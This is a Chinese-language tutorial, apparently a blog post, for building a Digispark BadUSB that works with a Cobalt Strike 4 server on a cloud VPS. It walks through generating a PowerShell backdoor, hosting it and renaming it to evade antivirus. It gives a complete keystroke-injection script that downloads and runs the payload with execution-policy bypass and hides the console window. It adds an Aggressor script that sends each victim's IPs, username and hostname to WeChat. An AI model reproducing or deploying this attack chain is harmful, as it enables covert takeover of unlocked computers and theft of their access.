BadUSB制作
CS4環境部署
部署CS4服務端
上傳CS4到云服務器。
進入CS4目錄,先給執行文件teamserver足夠的權限:
chmod 777 ./teamserver
再設置參數來開啟CS4服務。但由于需要服務一直在后臺啟動,所以使用screen命令。
screen下載(CentOS):
yum install screen -y
然后打開一個新的screen窗口,在里面運行CS4服務,命令如下:
screen -S cs4 //打開新窗口,并命名為cs4cd CS4目錄 //在新窗口跳轉到CS4所在目錄./teamserver vps的ip地址 連接密碼 //開CS4服務Ctrl+a,松開,再按d。//切換回主界面。
這樣CS4服務就部署完了,即使會話關閉,這個服務也會再后臺一直存在,除非用kill命令殺掉它。如果要重新進入這個會話:
screen -R cs4exit //這個會話會徹底注銷。
由于我部署在騰訊云服務器上,所以需要在云防護上給端口放行,云防護默認是開放所有出端口,開放部分入端口的。我們需要先開放CS服務端口50050,供客戶端連接:

PS:這里我用的是輕量應用服務器,云服務器的云防護配置方法自行查找,教程網上到處都是,并不難找。
部署CS4客戶端
打開CS4文件夾,雙擊start.bat,在登陸框中輸入登陸信息:
主機寫VPS的IP地址,端口默認50050,用戶名隨便輸,密碼是之前部署CS4服務端時輸的密碼,要對應,不然登不上:

然后創建一個監聽器:菜單欄Cobalt Strike-->監聽器-->Add:
名字隨便起;HTTP Hosts右邊點"+"號,一般默認就是你云服務器的地址,直接確定就好;HTTP Port(C2)設置一個你云服務器不用的端口,建議10000以上,不容易跟已有端口沖突,一旦沖突服務就起不來了;其他一切選項保持默認。

然后再在云防護上給這個端口放行,步驟和之前一樣,這里我設置是4445,你們可以改成自定的(建議10000以上,端口沖突這個坑我是踩過的),總之保持CS4客戶端監聽器端口與云防護放行那個端口一致就可以了:

接著生成一個powershell木馬,一會兒要用:
菜單欄 攻擊-->生成后門-->Payload Generator
彈框中監聽器選擇剛才設置那個;輸出下拉選擇Powershell,x64選不選取決于你目標的系統是不是64位系統。最后點Generate生成木馬,選擇一個存放地址就可以得到一個.ps1后綴的木馬文件了。

做到這一步就可以使用該木馬配合CS4進行攻擊了,只需要在任意安裝了powershell且無防護的機器上(win7、win10自帶powershell)運行生成的木馬,就可以看到CS4客戶端目標機器的上線信息了,也即獲得了目標機器的shell權限。
將木馬上傳到云服務器備用
在云服務器上安裝httpd服務,并將木馬上傳到默認的網站根目錄:/var/www/html/下,網頁訪問試試能不能下載到,之后會通過badusb的腳本來訪問這個鏈接:

由于badusb腳本遇到中文輸入法會出錯,所以我在腳本里添加了切換大小寫的代碼,會將輸入法切換成大寫,并循環執行腳本,這樣總有一次能繞過輸入法讓靶機中招。所以對于木馬,最好也復制兩份,一份名字是大寫,一份是小寫,比如:

PS:木馬不使用P64.ps1后綴也是可以運行的,你通過網頁訪問木馬很容易就能發現,木馬最終下載下來是文本的格式,所以改成p64、P64等名字,也不會影響木馬執行,反而由于取消了ps1后綴,更不易被殺軟檢測到。
PPS:httpd服務默認端口80在騰訊云上是默認放行的,但保險起見,各位還是登入云服務器檢查一下。
badusb燒錄
安裝軟件
燒錄前需要準備兩個軟件:Arduino軟件、Digispark (Attiny85)開發板驅動。
Arduino可以去官網免費下載:
https://www.arduino.cc/en/donate/
驅動下載:
https://github.com/digistump/DigistumpArduino/blob/master/tools/micronucleus-2.0a4-win.zip
將驅動解壓,選擇文件夾中的DPinst.exe或DPinst64.exe雙擊運行,這取決于你自己的機器是32位還是64位:

燒錄腳本
打開arduino,就可以設計badusb插入后要執行的程序了,這塊在學習中能了解到,是一塊很龐大的知識,利用好了能產生無限可能。想想就相當于badusb插入靶機后,你就在靶機里獲得了一個虛擬鍵盤和鼠標的權限,想開什么端口,反彈shell,或是關掉殺毒軟件,防火墻等等,都可以通過編程實現。
但這次我的目的只是制作一個能配合CS4上線的badusb玩具,所以僅限于反彈shell方面的代碼:
# include "DigiKeyboard.h"# define KEY_ESC 41# define KEY_BACKSPACE 42# define KEY_TAB 43# define KEY_PRT_SCR 70# define KEY_DELETE 76# define KEY_CAPS_LOCK 0x39void setup() {DigiKeyboard.delay(3000);DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //win+RDigiKeyboard.sendKeyStroke(KEY_CAPS_LOCK); //大小寫轉換繞過中文輸入法DigiKeyboard.delay(500);DigiKeyboard.println("CMD /t:01 /k @ECHO OFF && MODE CON:cols=15 lines=1"); //最小化cmd窗口DigiKeyboard.sendKeyStroke(KEY_ENTER); //回車DigiKeyboard.delay(500);DigiKeyboard.println("mkdir C:\\test"); //C盤創建一個test目錄DigiKeyboard.delay(1000);DigiKeyboard.println("powershell");DigiKeyboard.println("$clnt = new-object system.net.webclient;");DigiKeyboard.println("$url= 'http://xxx.xxx.xxx.xxx/p64';");DigiKeyboard.println("$file = 'c:\\test\\b.ps1';");DigiKeyboard.println("$clnt.downloadfile($url,$file)"); //分段執行,繞過防火墻進程保護,從云端下載木馬到本地C盤test目錄,并命名為b.ps1DigiKeyboard.println("powershell.exe -executionpolicy bypass -file c:\\test\\b.ps1"); //本地權限繞過執行木馬DigiKeyboard.sendKeyStroke(KEY_ENTER);DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //win+RDigiKeyboard.delay(500);DigiKeyboard.println("taskkill /t /im conhost.exe /f"); //關閉cmd的宿主程序,即圖形界面}void loop() {}
編譯沒問題后,點擊右箭頭燒錄,然后在60s內將U盤插入,等待提示燒錄成功即可:

以上步驟都完成之后,一個badusb配合CS4上線的攻擊方式就完成了,只要將badusb插入任意未鎖屏的機器,模擬按鍵的腳本就會在10s內運行,從云服務器下載木馬并執行,將shell乖乖遞給云端的CS4服務器。
CS4微信上線提示
考慮到帶USB的智能服務機這類測試對象,有可能出現即使上線,也依舊無任何回顯的情況,所以做一個依據CS4服務端上線信息的微信提示。
參考資料:
https://www.cnblogs.com/trevain/p/13693215.html
訪問Server醬https://sct.ftqq.com/
直接用微信掃碼關注公眾號就可以登陸,然后Server醬就會給你生成一個SendKey,用這個東西配合以下腳本:
# 循環獲取所有beaconon beacon_initial {
sub http_get {local('$output');$url = [new java.net.URL: $1];$stream = [$url openStream];$handle = [SleepUtils getIOHandle: $stream, $null];
@content = readAll($handle);
foreach $line (@content) {$output .= $line . "\r\n";}
println($output);}# 獲取ip、計算機名、登錄賬號$externalIP = replace(beacon_info($1, "external"), " ", "_");$internalIP = replace(beacon_info($1, "internal"), " ", "_");$userName = replace(beacon_info($1, "user"), " ", "_");$computerName = replace(beacon_info($1, "computer"), " ", "_");
# get一下Server醬的鏈接$url = 'https://sc.ftqq.com/此處填寫你Server醬的SCKEY碼.send?text=CobaltStrike%e4%b8%8a%e7%ba%bf%e6%8f%90%e9%86%92&desp=%e4%bb%96%e6%9d%a5%e4%ba%86%e3%80%81%e4%bb%96%e6%9d%a5%e4%ba%86%ef%bc%8c%e4%bb%96%e8%84%9a%e8%b8%8f%e7%a5%a5%e4%ba%91%e8%b5%b0%e6%9d%a5%e4%ba%86%e3%80%82%0D%0A%0D%0A%e5%a4%96%e7%bd%91ip:'.$externalIP.'%0D%0A%0D%0A%e5%86%85%e7%bd%91ip:'.$internalIP.'%0D%0A%0D%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0D%0A%0D%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName;
http_get($url);
}
在以上代碼填寫好自己的SendKey之后,保存為weixinNotice.cna文件,上傳到云服務器的CS4根目錄,在CS4服務端開啟的情況下(如果沒開啟自行開啟后再下一步)使用下列命令,開啟微信提醒腳本并在后臺保持運行:
screen -S cs4-notice./agscript xxx.xxx.xxx.xxx 50050 用戶名 密碼 weixinNotice.cnaCtrl+a,松開,再按d //會話后臺運行
然后在你shell上線后,就可以收到Server醬發給你的微信消息啦:
